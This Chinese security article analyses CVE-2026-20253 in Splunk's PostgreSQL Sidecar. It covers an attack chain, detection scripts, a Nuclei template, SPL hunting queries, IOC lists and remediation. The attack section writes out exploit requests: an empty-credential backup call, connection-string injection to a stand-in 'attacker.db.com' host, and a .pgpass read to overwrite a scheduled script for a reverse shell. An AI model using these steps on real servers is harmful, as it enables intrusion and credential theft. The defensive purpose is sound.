一、事件背景当SIEM本身成为攻击目标2026年6月10日Splunk发布安全公告SVD-2026-0603披露了一个藏在PostgreSQL Sidecar Service里的致命漏洞。编号CVE-2026-20253CVSS评分9.8属于CWE-306关键功能缺少认证。这个漏洞最狠的地方在于攻击者不需要任何账号密码只要网络能访问到Splunk的Web界面就能一步步拿到服务器的远程代码执行权限。Splunk Enterprise是什么它是全球企业最主流的SIEM平台之一承载着全网安全日志、告警规则、调查取证的核心职能。这个平台被攻破等于安全团队的眼睛和大脑被敌人控制。攻击者可以删日志、改告警、偷凭证、横向移动而SOC团队可能完全不知情。时间线压缩得很紧。6月10日发补丁6月12日WatchTowr Labs就公布了完整PoC6月18日CISA把漏洞加入Known Exploited Vulnerabilities目录要求联邦机构在6月21日前完成修复。从补丁发布到野外利用确认只隔了8天。Shadowserver的数据显示全球有超过1400个Splunk实例暴露在公网北美占了950个以上。Splunk官方在6月18日更新公告确认已发现limited exploitation。CrowdSec的网络遥测显示6月17日就开始捕获到利用尝试目前追踪到20个恶意IP在活跃扫描。二、漏洞根因一个不设防的内部服务2.1 PostgreSQL Sidecar Service 是什么Splunk从10.x版本开始引入Sidecar架构。Sidecar是伴随主进程splunkd运行的辅助服务由Supervisor统一拉起监控。各个Sidecar负责不同功能SCIM身份同步、Data Orchestration数据编排、Edge Processor控制平面、OpAmp远程代理管理以及本次出事的Storage Sidecar——也就是PostgreSQL Sidecar。这个Sidecar在本地监听端口5435只绑定127.0.0.1表面看是内部服务。但Splunk的Web层充当了反向代理把外部请求转发到localhost:5435。攻击者不需要直接连接5435只要往Splunk Web端口默认8000发送特定HTTP请求Web层就会原样转发到Sidecar。2.2 认证缺失的本质Sidecar的HTTP端点确实要求Authorization头部但它不验证内容。你传Basic Og空用户名密码的Base64也能通过。Sidecar把Authorization里的用户名直接丢给pg_dump -U user让PostgreSQL自己去判断。而本地PostgreSQL配置了.pgpass免密文件导致整个认证环节形同虚设。官方公告描述为unauthenticated arbitrary file creation and truncation但WatchTowr的研究证明这个文件操作原语可以完整串联成RCE。Splunk给9.8分不是虚高。2.3 受影响版本与部署差异产品分支受影响版本修复版本Sidecar默认状态风险等级Splunk Enterprise 10.0.x10.0.0 - 10.0.610.0.7AWS启用/本地未启用CriticalSplunk Enterprise 10.2.x10.2.0 - 10.2.310.2.4AWS启用/本地未启用CriticalSplunk Enterprise 10.4.x不受影响10.4.0N/ANoneSplunk Enterprise 9.4.x及以下不受影响N/A无Sidecar组件NoneSplunk Cloud Platform不受影响N/A不使用SidecarNoneAWS Marketplace或Quick Start部署的Splunk Enterprise默认启用PostgreSQL Sidecar且往往伴随公网暴露这是当前最高危的场景。本地手动安装的Windows/Linux版本通常不启用Sidecar风险相对低但仍需排查。三、技术架构攻击面与数据流漏洞的完整攻击路径。攻击者从Splunk Web服务端口8000/8089进入请求被Internal API Proxy转发至localhost:5435的PostgreSQL Sidecar。Sidecar调用pg_dump或pg_restore执行备份恢复操作由于缺乏路径校验和认证控制攻击者可以通过backupFile参数进行路径遍历在任意位置创建或截断文件通过database参数注入PostgreSQL连接字符串强制连接外部攻击者控制的数据库利用lo_export大对象导出功能将恶意内容写入文件系统读取本地.pgpass获取凭证通过restore端点执行恶意SQL覆盖Splunk定期执行的Python脚本实现持久化RCE四、五步攻击链从空凭证到ShellStep 1未认证端点探测攻击者发送POST请求到/en-US/splunkd/__raw/v1/postgres/recovery/backup带上空的Authorization头部POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1 Host: target.splunk.com:8000 Content-Type: application/json Authorization: Basic Og Content-Length: 56 {database:search_metadata,backupFile:backuptest}如果返回200 OK说明端点未受保护。这是WatchTowr发布的检测脚本核心逻辑400响应通常表示漏洞存在服务接受请求但参数有问题401表示已修复其他状态码表示Sidecar未安装。Step 2连接字符串注入PostgreSQL的pg_dump允许在dbname位置传入完整连接字符串且连接字符串参数会覆盖命令行选项。Sidecar硬编码了-h localhost但攻击者可以在database参数里注入hostaddrattacker.com让pg_dump连到外部数据库{database:hostaddrattacker.db.com dbnametestdb,backupFile:/tmp/whatever}Splunk服务器会主动 outbound 连接到攻击者的PostgreSQL服务器。这一步突破了localhost only的限制。Step 3恶意数据库备份写入攻击者在外部数据库里准备好包含恶意SQL函数的库表。通过backup端点pg_dump把攻击者控制的数据库内容dump到Splunk服务器的指定路径。此时文件不再是空的而是包含精心构造的SQL。Step 4本地凭证窃取与恶意恢复Splunk在/opt/splunk/var/packages/data/postgres/.pgpass明文存储了PostgreSQL凭证。攻击者通过passfile参数让pg_restore读取这个文件以postgres_admin身份连接本地数据库{database:dbnametemplate1 passfile/opt/splunk/var/packages/data/postgres/.pgpass,backupFile:/tmp/poc}恢复过程中恶意SQL里的lo_export函数被触发将攻击者控制的二进制数据写入服务器任意路径。这是从文件创建到可控文件写入的关键跃迁。Step 5Python脚本覆盖与RCEWatchTowr发现Splunk会定期执行/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py。攻击者用Step 4的文件写入原语覆盖这个脚本植入Python反向Shell或命令执行payload。等待Splunk的计划任务触发攻击者就拿到了splunk用户权限的Shell。PoC执行后会在Web根目录生成watchTowr.txt作为验证文件内容通常是uid1001(splunk) gid1001(splunk)。五、漏洞复现与检测脚本5.1 安全检测脚本非攻击用途以下Python脚本基于WatchTowr Labs的检测逻辑改写仅用于判断目标是否暴露漏洞端点不包含任何利用代码#!/usr/bin/env python3 CVE-2026-20253 Splunk PostgreSQL Sidecar Service Detection Artifact Generator Usage: python3 detect_cve_2026_20253.py -H http://target:8000 -r en-US importargparseimporturllib.requestimporturllib.errorimportsysdefdetect_vulnerability(target,region):endpointf{target}/{region}/splunkd/__raw/v1/postgres/recovery/backupheaders{Content-Type:application/json,Authorization:Basic Og,# Empty credentialsUser-Agent:CVE-2026-20253-Detector/1.0}datab{database:search_metadata,backupFile:detection_test}requrllib.request.Request(endpoint,datadata,headersheaders,methodPOST)try:responseurllib.request.urlopen(req,timeout10)statusresponse.getcode()bodyresponse.read().decode(utf-8,errorsignore)ifstatus200andBackupPendinginbody:print(f[] VULNERABLE -{target}accepts unauthenticated sidecar requests)print(f Response:{body[:100]})returnTrueelifstatus401:print(f[-] NOT VULNERABLE -{target}requires authentication (patched))returnFalseelse:print(f[?] UNCLEAR - HTTP{status}, manual review needed)returnNoneexcepturllib.error.HTTPErrorase:ife.code400:print(f[] LIKELY VULNERABLE -{target}returns 400 (endpoint exposed, bad request expected))returnTrueelife.code401:print(f[-] NOT VULNERABLE -{target}returns 401 (authentication enforced))returnFalseelife.code404:print(f[-] NOT VULNERABLE - Sidecar endpoint not found (not installed or different path))returnFalseelse:print(f[?] HTTP Error{e.code}:{e.reason})returnNoneexceptExceptionase:print(f[!] Connection failed:{e})returnNonedefmain():parserargparse.ArgumentParser(descriptionDetect CVE-2026-20253 exposure)parser.add_argument(-H,--host,requiredTrue,helpTarget Splunk URL (e.g., http://splunk.company.com:8000))parser.add_argument(-r,--region,defaulten-US,helpSplunk region/locale (default: en-US))argsparser.parse_args()print(f[*] Scanning{args.host}for CVE-2026-20253 exposure...)resultdetect_vulnerability(args.host,args.region)ifresultisTrue:print(\n[!] ACTION REQUIRED: Upgrade to 10.0.7, 10.2.4, or 10.4.0 immediately)sys.exit(1)elifresultisFalse:print(\n[] Target appears protected)sys.exit(0)else:print(\n[?] Inconclusive - perform manual verification)sys.exit(2)if__name____main__:main()检测逻辑说明400响应端点存在但未做认证控制大概率漏洞存在401响应认证已强制启用已修复404响应Sidecar未安装或路径不同不受影响5.2 Nuclei检测模板id:cve-2026-20253-splunk-detectioninfo:name:Splunk Enterprise CVE-2026-20253 PostgreSQL Sidecar Exposureauthor:security-teamseverity:criticaldescription:Detects exposed and unauthenticated PostgreSQL sidecar recovery endpointsreference:-https://advisory.splunk.com/advisories/SVD-2026-0603tags:cve,cve2026,splunk,unauth,rce,kevhttp:-method:POSTpath:-{{BaseURL}}/en-US/splunkd/__raw/v1/postgres/recovery/backupheaders:Content-Type:application/jsonAuthorization:Basic Ogbody:{database:search_metadata,backupFile:nuclei_test}matchers-condition:andmatchers:-type:statusstatus:-200-400-type:wordwords:-BackupPending-backupFilecondition:or-type:wordwords:-Unauthorized-401negative:trueextractors:-type:regexregex:-id:[a-f0-9-]5.3 Splunk内部日志检测SPL如果你的Splunk实例还在运行且未被攻陷可以用以下SPL搜索内部访问日志排查是否已被扫描或利用index_internal sourcetypesplunkd_access (uri_path*/v1/postgres/recovery/* OR uri_query*hostaddr* OR uri_query*passfile* OR uri_query*dbname*hostaddr*) | eval is_suspiciousif(match(uri_query, (?i)hostaddr|passfile), HIGH, MEDIUM) | stats count, values(uri_path) as paths, values(uri_query) as queries by src_ip, is_suspicious | where count 0 | sort - count关键IOC特征HTTP路径包含/v1/postgres/recovery/backup或/restore请求参数出现hostaddr、passfile、dbname拼接长字符串无有效session_key或authtoken的API调用源IP来自非管理网段六、应急响应假设已被攻破6.1 证据保全如果实例在补丁发布前暴露于公网或不可信网络按CISA和Splunk的建议必须按已 compromised 处理直到证明清白。先保全证据别急着重启或升级#!/bin/bash# Splunk CVE-2026-20253 证据收集脚本# 以root或splunk用户执行EVIDENCE_DIR/secure-evidence/splunk-cve-2026-20253-$(date%Y%m%d-%H%M%S)mkdir-p$EVIDENCE_DIRecho[*] Collecting evidence to$EVIDENCE_DIR...# 核心日志cp-a$SPLUNK_HOME/var/log/splunk$EVIDENCE_DIR/2/dev/null# 配置文件快照cp-a$SPLUNK_HOME/etc/system/local$EVIDENCE_DIR/system-local2/dev/nullcp-a$SPLUNK_HOME/etc/apps$EVIDENCE_DIR/apps-copy2/dev/null# 进程与网络状态psaux$EVIDENCE_DIR/ps.txtss-tupan$EVIDENCE_DIR/sockets.txtnetstat-tulpn$EVIDENCE_DIR/netstat.txt2/dev/null# 文件系统时间线最近30天find$SPLUNK_HOME-mtime-30-ls$EVIDENCE_DIR/recent-files.txt# Sidecar相关路径find$SPLUNK_HOME/var/run/supervisor-ls$EVIDENCE_DIR/supervisor-files.txt2/dev/null# PostgreSQL凭证文件检查是否被读取ls-la$SPLUNK_HOME/var/packages/data/postgres/.pgpass$EVIDENCE_DIR/pgpass-stat.txt2/dev/null# 哈希校验关键Python脚本md5sum$SPLUNK_HOME/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py\$EVIDENCE_DIR/ssg_script_hash.txt2/dev/nullecho[] Evidence collection complete:$EVIDENCE_DIRecho[!] Next: Analyze logs for /v1/postgres/ requests and unexpected file modifications6.2 入侵指标IOC清单类别具体指标严重度网络入站HTTP POST到*/v1/postgres/recovery/*Critical网络请求体包含hostaddr或passfileCritical主机pg_dump/pg_restore由splunkd子进程启动High主机/opt/splunk/var/run/supervisor/pkg-run/下异常文件High主机ssg_enable_modular_input.py哈希值变更Critical主机Web根目录出现watchTowr.txt或类似文件Critical日志splunkd_access.log中无session_key的API调用High网络Splunk服务器出站连接到外部PostgreSQL端口5432High6.3 清理与恢复确认被攻破后的清理步骤隔离实例断开网络或限制仅允许管理IP访问终止恶意进程查找由Splunk启动的异常Python、bash、sh进程替换被篡改文件从干净备份恢复ssg_enable_modular_input.py等模块删除恶意文件清理/tmp/和Sidecar目录下的异常备份文件轮换所有凭证包括.pgpass中的PostgreSQL密码、Splunk内部账号、集成的API密钥升级修复安装10.0.7、10.2.4或10.4.0重新基线化计算所有关键Python脚本的哈希值建立FIM监控七、修复方案从应急到根治7.1 官方修复路径唯一根治方案是升级。Splunk明确没有提供配置层面的热修复也不存在单个配置文件修改就能堵住漏洞的方法。# 检查当前版本$SPLUNK_HOME/bin/splunk--version# 下载对应修复版本# 10.0.x 用户升级至 10.0.7# 10.2.x 用户升级至 10.2.4# 或跳至 10.4.0# 标准升级流程Linux示例cd/optwgethttps://download.splunk.com/products/splunk/releases/10.2.4/linux/splunk-10.2.4-xxxx-Linux-x86_64.tgztar-xzfsplunk-10.2.4-*.tgzchown-Rsplunk:splunk /opt/splunk# 以splunk用户执行升级su- splunkcd/opt/splunk/bin ./splunk stop ./splunk start --accept-license --answer-yes升级后验证Sidecar端点已不可未认证访问curl-XPOST http://localhost:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup\-HAuthorization: Basic Og\-HContent-Type: application/json\-d{database:test,backupFile:test}\-k-v# 应返回 401 Unauthorized7.2 临时缓解措施无法立即升级时如果业务窗口不允许立即升级且实例不使用Edge Processor、OpAmp或SPL2数据管道可以应急禁用PostgreSQL Sidecar# 编辑 server.confcat$SPLUNK_HOME/etc/system/local/server.confEOF [postgres] disabled true EOF# 重启Splunk$SPLUNK_HOME/bin/splunk restart警告禁用Sidecar会破坏依赖它的功能。Splunk官方明确提示如果使用了Edge Processor、OpAmp或SPL2禁用Sidecar会导致这些组件失效。生产环境执行前必须在测试环境验证影响。7.3 网络层缓解在升级前通过外围控制降低暴露面WAF/反向代理规则Nginx示例location ~ ^/.*/splunkd/__raw/v1/postgres/ { deny all; return 403; } # 或限制仅允许管理网段 location /en-US/splunkd/ { allow 10.0.0.0/8; allow 172.16.0.0/12; allow 192.168.0.0/16; deny all; }iptablesLinux主机层# 如果Splunk Web确实不需要公网访问iptables-AINPUT-ptcp--dport8000-s10.0.0.0/8-jACCEPT iptables-AINPUT-ptcp--dport8000-s172.16.0.0/12-jACCEPT iptables-AINPUT-ptcp--dport8000-s192.168.0.0/16-jACCEPT iptables-AINPUT-ptcp--dport8000-jDROP八、防御架构四层纵深防御体系针对CVE-2026-20253及同类基础设施漏洞建议构建四层防御第一层网络边界控制WAF规则阻断所有/v1/postgres/*路径的外部访问防火墙严格限制8000/8089端口的源IP范围管理流量强制走VPN或零信任接入第二层主机层防护EDR监控pg_dump、pg_restore进程异常启动文件完整性监控FIM覆盖$SPLUNK_HOME/etc/apps/和$SPLUNK_HOME/var/run/应急场景下准备Sidecar禁用预案第三层应用层检测Splunk内部日志实时告警无session_key调用API、异常URI路径检测hostaddr、passfile、dbname等异常参数设置HTTP请求体大小和频率基线第四层数据与响应Splunk日志外发至独立SIEM防止被监控者篡改自身日志建立版本资产台账漏洞发布后24小时内完成影响评估预置应急响应预案包括证据收集脚本和隔离流程九、同类漏洞趋势与前瞻性思考CVE-2026-20253不是孤例。2026年6月Splunk同期修复了多个高危漏洞包括CVE-2026-20251Splunk Secure Gateway反序列化RCE需低权限账号、CVE-2026-20252Dashboard Studio PDF导出SSRF、CVE-2026-20258存储型XSS。这些漏洞共同指向一个趋势安全基础设施自身的攻击面正在扩大。SIEM、EDR、SOAR、漏洞管理平台拥有最高级别的数据访问权限和网络位置一旦失守攻击者获得的不是单点权限而是全局可见性和控制能力。防御这类风险需要转变思维零信任化基础设施即使是内部服务也要做身份校验和最小权限Sidecar安全模式辅助服务不能因为是内部就忽略认证代理转发路径必须做路由白名单日志外发与不可变性核心安全日志应写入只读存储或独立系统防止被攻击者回抹供应链与版本管控建立组件清单Sidecar、插件、第三方库都纳入漏洞响应范围十、总结与行动清单CVE-2026-20253是一个典型的内部服务暴露认证缺失工具链滥用组合漏洞。它的危害不仅在于9.8的CVSS评分更在于Splunk作为SIEM的战略地位。攻击者拿下Splunk等于拿下了整个安全运营的指挥中枢。立即行动清单版本排查运行splunk show version确认是否在10.0.0-10.0.6或10.2.0-10.2.3范围暴露面检查确认Splunk管理接口是否可从不可信网络访问日志审查用提供的SPL搜索内部日志查找/v1/postgres/相关请求升级修复48小时内安排升级至10.0.7、10.2.4或10.4.0凭证轮换无论是否发现入侵升级后强制轮换PostgreSQL和Splunk内部凭证基线重建计算关键文件哈希部署FIM监控互动问题你的Splunk Enterprise部署在AWS上吗Sidecar服务是否默认启用了升级窗口期遇到了哪些依赖阻碍如果SIEM本身被攻破你的组织有没有独立的观察员系统如外发日志、独立EDR来发现SIEM的异常行为欢迎分享架构设计或踩坑经历。